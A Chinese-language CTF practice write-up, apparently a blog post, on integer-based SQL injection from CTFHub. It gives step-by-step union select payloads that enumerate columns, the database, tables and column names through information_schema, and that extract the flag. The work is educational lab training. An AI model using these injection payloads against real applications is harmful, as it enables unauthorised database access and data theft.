2025.1.15——假期回归训练,从sql注入开始|一、SQL整数型注入

第一阶段(2025.1.15-2025.1.27)

题目来源:CTFHub技能树。

"磨刀不误砍柴工"

所有题目的相同步骤:①整理已知信息;②联系相关信息;③用所学知识判断题型;④解题

题目一:SQL整数型注入

step 1:整理已知信息

已知本题为SQL整数型注入,故不需要进行提醒判断。

题目特点:不需要用引号进行闭合,可用联合注入查询、order by语句查询列数、需要爆数据库名、表名、列名、具体数据

step 2:查询列数,以便可以使用union select(前提:前后列数必须一致)注入

sql 复制代码
1 order by 3 #
sql 复制代码
1 order by 2 #

可得共2个字段

step 3:进行联合注入,并查询回显点,并爆数据库名

sql 复制代码
1 and 1=2 union select database(),database() #

可得两个数据库名均为sqli

注:and 1=2 的作用是为了使前面的 select * from news where id=1这个查询条件不成立,直接使得后面的union操作能够正常执行

step 4:爆表名

错误示范:1 and 1=2 union select table_name from information_schema.tables where table_schema=sqli #

错误原因:sqli是字符串,需要加单引号

↓正确payload①------缺陷在于只会回显处第一个表的表名,若要爆出所有表名,需要用到limit m,n(m表示偏移量,从0开始;n表示要返回的行数)

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' #

爆第一个表名,用limit 0,1

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 0,1 #

爆第二个表名,用limit 1,1

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 1,1 #

payload②------用group_concat()一次爆出所有名称

sql 复制代码
1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

step 5:爆列名------形如爆表名

payload①------此处只有一个列名

sql 复制代码
1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

payload②------group_concat()

sql 复制代码
1 and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'#

step 6:爆具体数据

payload如下

sql 复制代码
1 and 1=2 union select 1,flag from sqli.flag

注:这里1,flag的作用是前后两个select语句的字段保持一致,所以1,不能去掉

相关推荐
StickToForever31 分钟前
第4章 信息系统架构(五)
经验分享·笔记·学习·职场和发展
Rverdoser3 小时前
【SQL】多表查询案例
数据库·sql
leegong231114 小时前
学习PostgreSQL专家认证
数据库·学习·postgresql
敲敲敲-敲代码4 小时前
【SQL实验】触发器
数据库·笔记·sql
和道一文字yyds4 小时前
MySQL 中的索引数量是否越多越好?为什么?如何使用 MySQL 的 EXPLAIN 语句进行查询分析?MySQL 中如何进行 SQL 调优?
数据库·sql·mysql
Moonnnn.5 小时前
51单片机学习——动态数码管显示
笔记·嵌入式硬件·学习·51单片机
南宫生5 小时前
力扣每日一题【算法学习day.132】
java·学习·算法·leetcode
技术小齐6 小时前
网络运维学习笔记 016网工初级(HCIA-Datacom与CCNA-EI)PPP点对点协议和PPPoE以太网上的点对点协议(此处只讲华为)
运维·网络·学习
小刘|6 小时前
深入理解 SQL 注入漏洞及解决方案
数据库·sql
竹言笙熙6 小时前
代码审计初探
学习·web安全